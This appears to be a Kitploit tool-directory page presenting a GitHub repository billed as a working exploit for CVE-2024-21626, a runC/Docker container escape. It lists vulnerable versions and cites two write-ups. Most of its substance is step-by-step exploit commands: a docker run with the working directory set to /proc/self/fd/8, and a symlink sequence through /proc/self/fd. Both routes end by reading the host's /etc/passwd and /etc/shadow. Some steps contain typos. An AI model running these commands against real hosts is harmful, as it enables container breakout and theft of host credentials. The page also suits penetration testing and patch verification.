Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21626 — Working exploit for CVE-2024-21626, a runC/Docker container escape via working directory symlink attack, enabling host filesystem access. | Kitploit
Tools/GitHubGitHub/flojboj/cve-2024-21626
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubflojboj/cve-2024-21626

CVE-2024-21626

Working exploit for CVE-2024-21626, a runC/Docker container escape via working directory symlink attack, enabling host filesystem access.

View Repository
11152 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21626

Exploit (Working Directory)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

  • Important is to put -w /proc/self/fd/8\
  • Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container

Exploit (Symlink)

  1. docker run --name cve-2024-21626 --rm --it debian:bootworm
  2. Inside container - ln -sf /proc/self/fd/7/ /foo
  3. Inside container - ln -sf /proc/self/fd/8/ /bar
  4. docker exec -it -w /bar cve-2024-21626 sleep 120
  5. Inside container - ls -F /proc
  6. Inside container - cat /proc/9/cmdline (find PID of the sleep command)
  7. Inside container - cat /proc/9/cwd/../../../../../etc/shadow

Vulnerable versions

  • runC: >= 1.0.0-rc93 and <= 1.1.11.
  • containerd: >= 1.4.7 and <= 1.6.27, and >= 1.7.0 a <= 1.7.12.
  • Docker: fixed in 25.0.2

Source

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626

Download Tool